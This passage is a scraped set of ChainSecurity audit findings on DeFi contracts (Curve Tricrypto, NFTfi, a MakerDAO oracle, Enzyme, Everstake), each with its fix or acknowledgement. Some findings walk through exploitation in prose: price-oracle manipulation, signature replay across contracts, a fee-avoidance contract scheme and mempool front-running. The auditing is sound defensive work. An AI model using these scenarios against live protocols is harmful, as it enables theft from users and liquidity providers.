Admin Fees Can Be Claimed Retroactively", "body": " When users see the admin_fee variable of the pool being 0 they will probably assume that no admin fees are being charged at the moment. However, this is not correct. Let's consider the following scenario: Time Action 0 10 11 12 the pool is started with admin_fee = 0 numerous swap have occurred and xcp_profit has grown the admin fee is set to 1% using commit_new_parameters and apply_new_parameters the function claim_admin_fees is called Users might expect that the admin fees will only be claimed for the time period of 11-12. However, admin fees will be claimed for the time period 0-12. This is because xcp_profit_a hasn't been updated in the meantime. Code corrected When changing the admin fee, the admin fees are claimed for the period until the change. Admin fees are only paid for the period beginning at the last time they were claimed. Hence, the issue is resolved. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/curve-finance-tricrypto/"}, {"title": "6.6 Packed Getters Can Be More Restrictive", "body": " three to access packed values: price_oracle, price_scale, and There are last_prices. All three functions take an integer as input and retrieve the value at the respective offset. They make sure that the provided integer is: functions assert k < N_COINS However, k == N_COINS - 1 is not a valid input for any of these functions and could also be blocked. Code corrected A check to validate k < N_COINS - 1 has been added. Swiss Stake GmbH - Tricrypto - 13 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f6.7 Slight Code Simplification Within the claim_admin_fees function there is the following code: frac: uint256 = vprice * 10**18 / (vprice - fees) - 10**18 total_supply: uint256 = CurveToken(token).totalSupply() claimed: uint256 = CurveToken(token).mint_relative(owner, frac) total_supply += claimed During mint_relative the totalSupply will be updated. Hence, it could also be queried once after the call to mint_relative instead of querying it before and then updating it later. Code corrected The first total supply query was removed and the total supply is queried after the update. Swiss Stake GmbH - Tricrypto - 14 DesignLowVersion1CodeCorrected \f7 Notes We leverage this section to highlight minor findings that should be noted and considered for further development, but don't necessarily require an immediate code change. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/curve-finance-tricrypto/"}, {"title": "7.1 Possible Price Manipulations", "body": " We see the following price manipulations as possible: 1. Pushing price_scale towards price_oracle. In case a user wants to perform a larger exchange and the price inside the price_oracle is significantly better for that exchange than the price inside price_scale, then the user can push price_scale towards price_oracle using small trades. This works as the update for price_scale only depends on its distance to price_oracle not on previous actions within the same block. 2. The price_oracle is only affected by the last price seen in each block. Hence, big exchanges can be \"hidden\" from the price_oracle if they are followed by other exchanges with a different rate. Note that these trailing exchanges can be way smaller. Such trailing exchanges, if reliably inserted, allow full control over the price_oracle and thereby (as mentioned in the previous comment) also over price_scale. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/curve-finance-tricrypto/"}, {"title": "7.2 Potential Gas Saving for Balanced Liquidity", "body": " Additions In case last_prices did not change because liquidity was added in the current pool ratios, the following code part could be skipped. __xp: uint256[N_COINS] = _xp dx_price: uint256 = __xp[0] / 10**6 __xp[0] += dx_price for k in range(N_COINS-1): self.last_prices[k] = price_scale[k] * dx_price / ... However, it is unclear whether this is a worthwhile addition as a perfectly balanced liqudity addition will be a rare case unless the UI encourages it to save gas costs. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/curve-finance-tricrypto/"}, {"title": "7.3 Splitting up Exchanges", "body": " For users it can be beneficial to split up a larger exchange into multiple smaller exchanges in order to save fees. Depending on the price constellation and the gamma value they can remain in the \"flat\" area of the curve and hence save fees. This is of course detrimental to the liquidity providers. The usefulness of the split depends on the gas costs and the curve parameters. Swiss Stake GmbH - Tricrypto - 15 NoteVersion1NoteVersion1NoteVersion1 \f7.4 Supported Tokens There is are variety of different token implementations on the Ethereum blockchain. Using tokens with unusual behavior will lead to unexpected changes of the curve or put the smart contracts into a bad state. In particular, the following token types will not work: rebasing tokens, where balances can change without transfers. These tokens will lead to incorrect accounting. tokens with transfer fees. These tokens will lead to incorrect accounting. tokens with incorrect ERC20 implementations. tokens with more than 18 decimals tokens with more than one address ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/curve-finance-tricrypto/"}, {"title": "7.5 The General Case of n Token Versus A", "body": " The audit was scoped for the case n=3 tokens. Nonetheless, we like to highlight our concerns for a bigger n. The contracts are written very generic for the case of n tokens. However, the n cannot be simply increased. As an example, with larger n space for the packed variables becomes smaller. Hence, such cases need to be tested carefully. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/curve-finance-tricrypto/"}, {"title": "7.6 Variable Naming", "body": " Naming variables in a clear and understandable way supports the understanding of complex projects like this. Most variables have self explaining names. But some are confusing or used inconsistently like the use of x and xp. The value (product of price and amount) of a pool token is usually denoted with xp. However, the CurveCryptoMath3 contract often does not follow this naming convention consistently and x in reduction_coefficient which should be fee_gamma. is actually ANN * A_MULTIPLIER or gamma is used. Furthermore, A which ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/curve-finance-tricrypto/"}, {"title": "7.7 Vyper Is Still Beta", "body": " Even though Vyper is used heavily in the latest DeFi projects (especially AMMs), the Vyper language is still Beta software and should be used with care as bugs might arise. Nevertheless, Curve and other AMMs have used recent Vyper versions successfully. Swiss Stake GmbH - Tricrypto - 16 NoteVersion1NoteVersion1NoteVersion1NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/curve-finance-tricrypto/"}, {"title": "6.1 Offer/Listing Signature Valid for Any Loan", "body": " Contract The current system requires the Offer or the ListingTerms struct to be signed. However, no information about for which contract address this struct is intended to be used. Thus, it allows the accepting party publishing a loan on-chain to decide whether the loan will be pro-rated or fixed (or other loan types in the future). Assume the following scenario: NFTfi - NFTfi Marketplace - 10 CriticalHighCodeCorrectedMediumCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedLowCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedSpeci\ufb01cationChangedSecurityHighVersion1CodeCorrected \f1. Alice talks off-chain to Bob and makes her the offer to lend 100 DAI for her ERC-721 collateral token as a fixed loan where the maximum repayment amount is 200 DAI. Bob sets the loan interest rate to 0 since it is not needed for the loan. 2. Bob sends the signed offer to Alice. 3. Alice now calls acceptOffer on the pro-rated contract. Loan terms get prepared for later calculations. _acceptOffer is called internally. 4. Now lender signatures are verified for the offer. Since nothing changed, the call succeeds. 5. Alice can pay back the loan cheaper than Bob agreed to. In this scenario, Bob would need to have had the pro-rated contract approved for some DAI (e.g. Bob could be an active lender). Furthermore, the signature could be used on multiple contracts. However, this requires the NFT to be a ERC-1155 token. In such a scenario, Alice could receive a pro-rated and a fixed loan while having only one signature of Bob. Similar issues may arise in the case of signing listings where the lender could for example make a pro-rated loan a fixed loan. Since the borrower could be an active user of the platform, making both lending contracts an operator is a plausible assumption. Again, double-loans can be created if the NFT is an ERC-1155 token (assuming the contracts are operators of the user's NFTs). Especially, this is dangerous, since the documentation describes giving default NFT approvals for NFTfi contracts. In conclusion, the system is unaware for which contract a signature is intended to be used. Nonces can be reused since they are not stored globally but per lending contract. Hence, replay attacks are possible. Now, the contract address is signed by the party signing. Thus, a loan can be only created on the intended contract. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/nftfi/"}, {"title": "6.2 Broken/Partial ERC165 Support", "body": " Through inheritance the contracts in the composable directory inherit from ERC165 which implements EIP-165 that defines a standard method for publishing and detecting supported interfaces. function supportsInterface(bytes4 interfaceID) external view returns (bool); Not all of the aforementioned contracts do overwrite this function to extend its extended functionality. ERC9981155Extension additionally implements the IERC998ERC1155TopDown and the IERC1155Receiver interface. NftfiBundler implements the INftiBundler functions while it does not explicitly implement the interface (however, the naming suggests otherwise). ImmutableBundle further implements the IERC721Receiver interface. Hence, supportsInterface() will not return true for some of the interfaceId it supports. The supportsInterface return true for interfaceId of all the implemented interfaces. NFTfi - NFTfi Marketplace - 11 DesignMediumVersion1CodeCorrected \f6.3 No Sanity Check on Revenue Share fee. The percentage can be set with Partners can earn a share of PermittedPartners.setPartnerRevenueShare(). However, this method does not check whether the share exceeds 100%. the administrator Assume a loan starts where that is the case. Then, this percentage would be stored in the loan extras of a loan which cannot be renegotiated nor modified in any way for the loan. Paying back the loan will ultimately revert since an underflow would occur when computing the fee left for the administrator. Hence, the borrower cannot retrieve his collateral back and liquidation is the only possibility to exit the loan. 100% cannot be exceeded anymore. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/nftfi/"}, {"title": "6.4 Renegotiation Replays Possible", "body": " Renegotiation is a feature that allows the lender to give the borrower an alternative offer after the loan has been created. However, replay attacks may be possible here. As more loan types will appear, more loan coordinator contracts could be deployed. Following could occur: 1. Borrower A has a loan connected to Coordinator A. Borrower B has a loan connected to Coordinator B. The lender is in both cases the same. 2. Borrower A and the lender renegotiate the lending terms. 3. Borrower B replays the signature while the signature is not expired yet. 4. The lender has renegotiated two positions instead of only one. This attack works as long as the data provided to renegotiation functions is the same. Now, the contract address is signed. Thus, the signature can only be used on the valid contract. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/nftfi/"}, {"title": "6.5 SmartNFTs May Not Be Composable With", "body": " Other Protocols When a loan is accepted, two SmartNFT tokens are issued: A promissory note NFT to the lender, and an obligation note NFT to the borrower. The NFT collateral is stored in the NFTfi loan contract until either the borrower repays the loan, or the loan is liquidated. However, when either of these events happen, the SmartNFT tokens are transparently destroyed, and the addresses owning the respective NFTs receive the collateral and payback. That makes the SmartNFTS untraceable by smart contracts. That could be NFTfi - NFTfi Marketplace - 12 CorrectnessMediumVersion1CodeCorrectedSecurityMediumVersion1CodeCorrectedDesignMediumVersion1CodeCorrected \fhazardous since the documentation specifies that a possible use-case of these NFTS could be trading them (e.g. selling the loan). Assume the following scenario: 1. Lender and borrower agree on a loan, create it, and receive the SmartNFTs. 2. As time passes, the lender decides to sell the promissory note on a platform as a fixed-income debt-bearing asset. The promissory note is deposited into a smart contract. 3. Now, the borrower pays back the loan. Both SmartNFTs are burned. The collateral is transferred to the borrower. The payback is transferred to the NFT trade platform. Ultimately, the auction of the promissory note cannot be ended. Hence, funds could get locked in the other contract while the lender does not receive anything. Similarly, if the SmartNFTs are whitelisted in the PermittedList, funds could get lost in the NFTfi system since SmartNFTs could disappear at any time while a loan contract owning them would be clueless. Also, in such a way ImmutableBundles could lose funds. To conclude, the immediate burning of SmartNFTs could be hazardous for NFTfi and other platforms as they could disappear at any point in time. Now, only whitelisted contracts or EOAs can hold SmartNFTs. Thus, governance must ensure that whitelisted contracts hold SmartNFTs that handle the scenarios above correctly. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/nftfi/"}, {"title": "6.6 Undeployable SmartNFTs", "body": " SmartNFTs are used for the promissory note and obligation receipt. This contract inherits from OpenZeppelin's access control contract. The deployment of the contract may fail. _setupRole(DEFAULT_ADMIN_ROLE, _admin); grantRole(LOAN_COORDINATOR_ROLE, _loanCoordinator); It sets _admin as the default administrator for all roles. If _admin is not msg.sender, then grantRole will fail. _setupRole() is now used instead of grantRole in the constructor. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/nftfi/"}, {"title": "6.7 Anyone Can Liquidate", "body": " The renegotiation feature allows to renegotiate even if the loan has expired. However, anyone can liquidate a loan. Thus, it could be possible that the result is not what the users desired. Moreover, fees that could have been earned will not be received. Now, only the lender can liquidate. NFTfi - NFTfi Marketplace - 13 CorrectnessMediumVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f6.8 Double Getters For each public variable, a getter is automatically generated. However, several contracts implement additional getter functions for public variables which leads to more code and, hence, higher deployment cost. Some examples of double getters are: partnerRevenueShare and getPartnerPermit in PermittedPartners.sol nftPermits and getNFTPermit in PermittedNFTs.sol erc20Permits and getERC20Permit in PermittedNFTs.sol Similar examples can be also found in other contracts such as DirectLoanCoordinator, NftfiHub and others. Removing double getters may reduce deployment cost. The double getters have been removed by setting the public variables to private. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/nftfi/"}, {"title": "6.9 Event Issues", "body": " Many events are emitted in the system helping users and front-ends. However, some event could be indexed to improve the experience. For example: The permitted list contracts could index the address of the permitted contract. Registry and loan contracts could have also indexed events Furthermore, some important state changes do not emit events (e.g. updateMaximumLoanDuration or updateMaximumNumberOfActiveLoans). Note that also the renegotiation lacks events. Emitting more events and indexing some of their parameters could improve the user-experience. The events are now indexed and more events are emitted. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/nftfi/"}, {"title": "6.10 Gas Inefficiencies", "body": " Structs are passed to the loan functions as arguments. These structs are passed compactly since they use for example uint32. However, some state variables could follow this principle. For example, adminFeeInBasisPoints will never be greater than 10000 but is a uint256. The structs store this as a uint32. However, a smaller data type could also be sufficient. Similar gas optimizations could be made. NFTfi - NFTfi Marketplace - 14 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \fFurthermore, since the hub should not change, it could be made immutable in all contracts. For example, DirectLoanCoordinator stores it as an immutable while DirectLoanBase does not. Similar gas savings could be achieved. Also, some state variable may be redundant. For example, the loan status stored in the loan coordinator. It is only used for checking something when burning the receipt NFTs. However, burning requires the NFT owner to not be zero. Thus, the burn requirements are equivalent to the status checks. Several retrieved values from storage and from other contracts could be cached in memory instead of reading it multiple times. For example: The NFT wrapper is retrieved in loanSanityChecks and when setting up the loan terms. loanIdToLoan[id] is read from storage into memory in payBackChecks and then in payBackLoan. Further redundant storage reads can be found. Moreover, DirectLoanFixed._payoffAndFee is computed as follows: uint256 interestDue = _loanTerms.maximumRepaymentAmount - _loanTerms.loanPrincipalAmount; uint256 adminFee = _computeAdminFee(interestDue, uint256(_loanTerms.loanAdminFeeInBasisPoints)); uint256 payoffAmount = ((_loanTerms.loanPrincipalAmount) + interestDue) - adminFee; However, the addition could be removed since its result should be the maximum repayment amount. Overall, gas consumption could be reduced by storing data more compactly, by reducing the number of storage reads and writes, and by removing redundant calculations. Gas consumption has been reduced. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/nftfi/"}, {"title": "6.11 Gas Inefficiencies in SmartNFTs ", "body": " supportsInterface() NFTs must implement EIP-165's proposed method supportsInterface(). SmartNFT implement this method. Gas could be saved there by calling only the super method which would, in this case, evaluate all the implementations of the parent classes and cover all implemented interfaces. Moreover, deployment cost could be reduced by reducing the code size by using the methods and modifiers inherited from AccessControl. Thus, duplicated code could be removed. The gas consumption of the code has been optimized. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/nftfi/"}, {"title": "6.12 Maximum Number of Loans May Be Violated", "body": " The administrator is allowed to specify a maximum number of loans allowed. The following invariant should always hold: NFTfi - NFTfi Marketplace - 15 DesignLowVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrected \ftotalActiveLoans <= maximumNumberOfActiveLoans However, that could be violated. Assume that these are equal. Then, the administrator calls updateMaximumNumberOfActiveLoan to reduce the maximum number of active loans. Ultimately, the invariant could be violated. An additional check was added to ensure that the invariant does not break. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/nftfi/"}, {"title": "6.13 Maximum Repayment Amount", "body": " The maximum repayment amount is specified by the lender. For both existing loan types this is value is relevant for accepting an offer while unused for accepting listings. The maximum repayment amount is calculated as the sum of the principal loan amount and the interest rate. However, that could be irritating for lenders as they could expect the maximum repayment amount specified by them to be used as the maximum. Furthermore, in the pro-rated contract, renegotiation could lead to a scenario where the interest could grow even after time has elapsed since the interest rate is not modified. The maximum repayment amount specified by the lender is now always used. Also, the interest rate is now updated for the pro-rated loan. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/nftfi/"}, {"title": "6.14 Not Using safeTransfer for ERC-20", "body": " Transfers Since not all ERC-20 tokens adhere to the standard, it is recommended to use safeTransferFrom such that interactions with a broader range of tokens are possible. However, the transfer of the renegotiation fee does not use the safe operation. safeTransferFrom is now used. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/nftfi/"}, {"title": "6.15 Renegotiation on Wrong Contract Possible", "body": " Renegotiation is a feature that allows the lender to give the borrower an alternative offer after the loan has been created. However, it could be possible to renegotiate a loan on the wrong contract. NFTfi - NFTfi Marketplace - 16 CorrectnessLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \fThis becomes possible if the maximum loan duration is greater than the current block timestamp and no renegotiation fee is charged. 1. Lender and borrower agree on a direct fixed loan. 2. Lender signs the renegotiation with a high new loan duration for the pro-rated contract. 3. The borrower calls renegotiate on the pro-rated loan contract. 4. The correct SmartNFT ID is fetched from the shared coordinator while the loan data is empty as it is stored per lending contract. 5. Thus, if the maximum loan duration and the new loan duration are sufficiently high and the renegotiation fee is 0 (no ERC-20 transfer occurs), all checks pass. However, as the NFT wrappers are not initialized, this leads to unnecessary state modifications while funds cannot be transferred. Now, the loan contract is compared to the stored contract in the loan coordinator disallowing such wrong renegotiations. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/nftfi/"}, {"title": "6.16 Repetitive Validation on Batch Child Transfer", "body": " safeBatchTransferChild() allows children of a token to be batch transferred. msg.sender is validated in each loop iteration to be the root owner of tokenId. However, since only the children of one token id can be batch transferred at once, it is sufficient to validate only once. Ultimately, storage reads and, hence, gas consumption could be reduced. The method has been optimized. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/nftfi/"}, {"title": "6.17 Specification Mismatch", "body": " The code has several occurrences of specification mismatch. Some examples are: DirectLoanProRated._setupLoanTermsListing documents that it is a fixed loan. ERC998TopDown.childExists specifies that it returns true if a child exists. However, in the extended classes this will return false for ERC-1155 tokens. ERC998TopDown.ownerOfChild specifies that parameter tokenId while it has only parameter childTokenId. Specification changed: The specification has been updated. NFTfi - NFTfi Marketplace - 17 DesignLowVersion1CodeCorrectedCorrectnessLowVersion1Speci\ufb01cationChanged \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/nftfi/"}, {"title": "7.1 Fee Avoidance", "body": " The liquidation allows the administration fees to be avoided as follows: 1. The borrower transfers his receipt to a contract. As long as the lender has transferred his receipt to the contract, the borrower can withdraw his receipt. 2. The lender signs a renegotiation and approves the cheating contract. 3. The lender calls the cheating contract method that takes the renegotiation and the renegotiation parameters as arguments (and checks whether the parameters are fair). 4. The contract, having the obligatory note, calls renegotiate. 5. The contract pulls the promissory note from the lender. 6. The loan gets liquidated and the contract holds the NFT collateral. 7. The cheating contract implements a payback function that is cheaper for the borrower and more profitable for the lender (splitting the admin fee). Moreover, as a safeguard for the lender it implements a liquidation function. Ultimately, no fees are distributed to the administration while the lender and borrower could profit. This behaviour cannot occur anymore. Since only EOA addresses could hold a SmartNFT in such a case, the lender would need to trust the borrower. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/nftfi/"}, {"title": "7.2 Front-running Offers", "body": " Alice may receive an Offer of Bob for an ERC-1155 token. Charlie could call acceptOffer() with Bob's signature which would initiate a loan between Bob and Charlie for the same ERC-1155 token. However, Bob's intend could have been to only allow Alice to take a loan from him. From the discussions with NFTfi, it was clarified that the ERC-1155 tokens to be supported are the ones that have at most one token per ID. Hence, governance needs to be careful when whitelisting ERC-1155 contracts. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/nftfi/"}, {"title": "7.3 Outdated Compiler Version", "body": " The solc version is fixed in the hardhat configuration to version 0.8.4. At the time of writing the most recent Solidity release is version 0.8.7. NFTfi - NFTfi Marketplace - 18 NoteVersion1NoteVersion1NoteVersion1 \f7.4 Possible Inconsistencies After Registry Changes Many values are stored such that the loan can be resolved, no matter the changes made to the system (e.g. whitelisting ERC-20 tokens). However, the loan registry is global for the whole system. That could introduce several issues: Assume contract A is stored in the loan registry for loans of type B and Loans are still active. Now, administration changes the contract for loan type of B to contract C. That could lock the funds in contract A and make the loans unresolvable or introduce other issues related to that. The loan coordinator could change in the hub. Thus, loans could become all invalid since changing the new loan coordinator could also change the smart NFT token contract address. Loans could become unresolvable if the loan coordinator loses access to a Smart NFT contract. These and similar issues could occur. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/nftfi/"}, {"title": "7.5 Supported Tokens", "body": " The protocol supports ERC-20 tokens as lending capital. However, whitelisting for example ERC-777 tokens (backward-compatible with EIP-20) may lead to unwanted behaviour. For example, paybacks of loan could be blocked by reverting on token reception. Also, borrowers may receive less than expected if the ERC-20 tokens collect transfer fees while the paybacks could fail. Furthermore, some NFTs could be added that could be burnable externally or have other unexpected non-standard behaviour. In general, governance has to be careful with whitelisting tokens. NFTfi - NFTfi Marketplace - 19 NoteVersion1NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/nftfi/"}, {"title": "5.1 Mismatches With Documentation and Lack", "body": " Thereof Documentation plays a crucial part for understanding a codebase and integrating it into a live system. However, the code lacks project specific documentation and is only described in a generic way in the MakerDAO Oracle documentation. Moreover, the interfaces of the CurveLPOracle mismatch the interface specified: The documentation specifies step() to take a uint16 as an input parameter while the code defines step(uint256) which checks that a provided argument does not exceed the maximum uint16. Documented function change() is missing. However, link() is undocumented but implements the specified functionality of change(). According to documentation, stop() should only set the stopped flag while void() should set the flag but also reset nxt, cur and zph. In contrast, void() is missing while stop() implements the semantics of void(). Similarly StETHPrice deviates from the MakerDAO medianizer documentation. Acknowledged: MakerDAO acknowledges this. MakerDAO - Curve LP & stETH oracle - 10 DesignCorrectnessCriticalHighMediumLowAcknowledgedCorrectnessLowVersion1Acknowledged \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. -Severity Findings -Severity Findings -Severity Findings -Severity Findings Curve Registry Outdated Compiler Version Potential Inconsistency ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-curve-lp-steth-oracle/"}, {"title": "6.1 Curve Registry", "body": " 0 0 0 3 According to the Curve Documentation of their registry contracts, the central source of truth in the Curve system is the address provider. That contract allows changing the registry through set_address() when the id parameter is set to zero. Currently, the oracle stores the registry as an immutable. Hence, in case the registry changes, the oracle will utilize a wrong registry. The registry is now queried from the address provider. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-curve-lp-steth-oracle/"}, {"title": "6.2 Outdated Compiler Version", "body": " The solc version is fixed to version 0.8.9. The introduced changes in versions 0.8.10 and 0.8.11 could reduce gas consumption of the inline-assembly code of poke(). Compiler version 0.8.11 was chosen. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-curve-lp-steth-oracle/"}, {"title": "6.3 Potential Inconsistency", "body": " step() sets a new value to hop which specifies the minimum time between calls to poke(). Function zzz() should return the time of the last poke(). MakerDAO - Curve LP & stETH oracle - 11 CriticalHighMediumLowCodeCorrectedCodeCorrectedCodeCorrectedCorrectnessLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \fConsider now the following scenario where hop is 1 hour and the zph is set to the current time + 1 hour. Assume that a call to step() sets hop to 10 minutes. Now, zzz() returns current time + 50 minutes which is in the future. Moreover, the next poke requires waiting for one hour instead of only 10 minutes. Ultimately, that could lead to temporary inconsistencies. zph (Time of last price update plus hop, the minimum time between price updates) is now updated on step() using the new value of hop. The update of zph is skipped when it hasn't been set yet but hop is updated. MakerDAO - Curve LP & stETH oracle - 12 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/makerdao-curve-lp-steth-oracle/"}, {"title": "6.1 Double Counting During Maple Migration", "body": " During the migration of Maple positions, double counting of Maple LP tokens is possible as there are no restrictions enforced on lend(). Consider the following scenario: 1. The position holds 10 v1 LP tokens. 2. The snapshot is taken and snapshots are frozen. 3. The airdrop of v2 LP tokens happens and the position receives 10 v2 LP tokens. Note that getManagedAssets() does not consider v2 LP tokens since the v2 pool is not tracked. Hence, the valuation is 10 v1 LP tokens. 4. The manager tokens. Now, getManagedAssets() considers both v1 and v2 LP tokens since lending will start tracking the v2 pool. Hence, the valuation is 10 v1 LP tokens and 20 v2 LP tokens. to Maple v2 and creates 10 v2 LP tokens lends Thus, funds could be overvalued between airdop and migration execution. Lending is now only allowed if the position has been migrated. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-viii/"}, {"title": "6.2 Incorrect Comment", "body": " On AddOnlyAddressListOwnerConsumerMixin there is the following comment: __validateAndAddListItemIfUnregistered the function of Avantgarde Finance - Sulu Extensions VIII - 13 CriticalHighCodeCorrectedMediumLowSpeci\ufb01cationChangedCodeCorrectedCorrectnessHighVersion1CodeCorrectedCorrectnessLowVersion1Speci\ufb01cationChanged \f/// @dev Helper to lookup an item's existence and then attempt to add it. /// AddOnlyAddressListOwnerBase.addToList() performs validation on the item. The addToList function does not actually perform the validation. The __validateItems function does. Specification changed: The comment now specifies that the function addValidatedItemsToList() is used. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-viii/"}, {"title": "6.3 Unused Import", "body": " MapleV1ToV2PoolMapper which is unused. imports \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" The import has been removed. Avantgarde Finance - Sulu Extensions VIII - 14 DesignLowVersion1CodeCorrected \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-viii/"}, {"title": "7.1 Lido Rebasing", "body": " Lido has epochs for rebasing. It could be possible to sandwich oracle updates with buying and selling shares. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-viii/"}, {"title": "7.2 Maple V2 Migrations Can Start Before", "body": " Snapshots allowMigration() is a governance function that should be called after all snapshots. Note that there is no sanity check that all snapshots have been made. Governance should not call this function too early. Further, note that the function should only be called after snapshots have been disallowed with freezeSnapshots(). ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-viii/"}, {"title": "7.3 Pool Address", "body": " Note that for the Aave v2 and Aave v3 adapters, the lending pool's address is stored and not queried from Aave's registry. Managers should be aware that the (lending) pool address used could be outdated. Avantgarde Finance plans to upgrade the library contract in the case that the lending pool address changes. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-viii/"}, {"title": "7.4 Potential Maple V2 Rollback", "body": " Note that Maple V2 could rollback their migration process. Avantgarde Finance should be aware and quick to react. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-viii/"}, {"title": "7.5 Redeemable Amount", "body": " The action RedeemV2 tries to redeem the input amount poolTokenAmount. However, note that Maple's WithdrawalManager contains the following code Avantgarde Finance - Sulu Extensions VIII - 15 NoteVersion1NoteVersion1NoteVersion1NoteVersion1NoteVersion1 \frequire(requestedShares_ == lockedShares_, \"WM:PE:INVALID_SHARES\"); Hence, managers should be aware that RedeemV2 will only succeed if poolTokenAmount is equal to its locked shares. Avantgarde Finance prefers this in case future implementations of Maple change this logic. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-viii/"}, {"title": "7.6 Reverts on Batching Maple Migration", "body": " The Maple mapper contract implements a batched function for migrating to v2. If a position has already been migrated, the batched function may revert. Avantgarde Finance replied: Pretty unlikely to occur and nicer to be able to easily preview a tx failure by not skipping reverting items. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-viii/"}, {"title": "7.7 Theoretical Out-Of-Gas During Maple V2", "body": " Migrations snapshotPoolTokenV1BalanceValues() and migratePoolsV1ToV2() load all used pools from storage. Theoretically, these functions could result in an out-of-gas problem that cannot be resolved without a contract upgrade. In contrast, if too many pools are added for getManagedAssets(), this can be resolved by a manager. Avantgarde Finance - Sulu Extensions VIII - 16 NoteVersion1NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/enzyme-sulu-extensions-viii/"}, {"title": "6.1 Pausing Auto-Compounding Can Be Unfair to", "body": " Users CS-EVERSTKB2C-001 The flag PAUSE_REWARDS_POSITION introduced in the Accounting allows for pausing rewards auto-compounding. This led to the following: 1. During the period rewards auto-compounding is disabled, all users joining the protocol and having their stake activated will collect the same amount of rewards independently of the time their stake became active. 2. Provided that enough interchanging is available, a user who wants to begin staking can monitor the mempool and frontrun the Everstake's transaction that reenables reward auto-compounding to keep its ETH liquid for the largest amount of time possible while maximizing its rewards. Acknowledged: Everstake is aware of this issue and responded that, depending on their SOP for each edge case, staking may be manually paused along with the pausing of the rewards. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/everstake-eth-b2c-staking/"}, {"title": "6.2 Interchanging Is Not Performed in Order When", "body": " Withdrawing Everstake - ETH B2C Staking - 13 CS-EVERSTKB2C-004 DesignCorrectnessCriticalHighMediumLowAcknowledgedAcknowledgedAcknowledgedDesignLowVersion3AcknowledgedDesignLowVersion1Acknowledged \fBecause of the implementation of AddressSet, when interchanging with pending deposits during a withdrawal, the interchanges are not done in the order the stakers deposited. This means that some users might have to wait for their deposit to become active longer than another user who deposited after them, hence missing the rewards that were distributed during this time. This issue can be taken advantage of by a user who wants to stake x ETH but does not wish to wait for their deposit to become active. By looking at the mempool, the user can spot transactions withdrawing from the contract. If he finds a 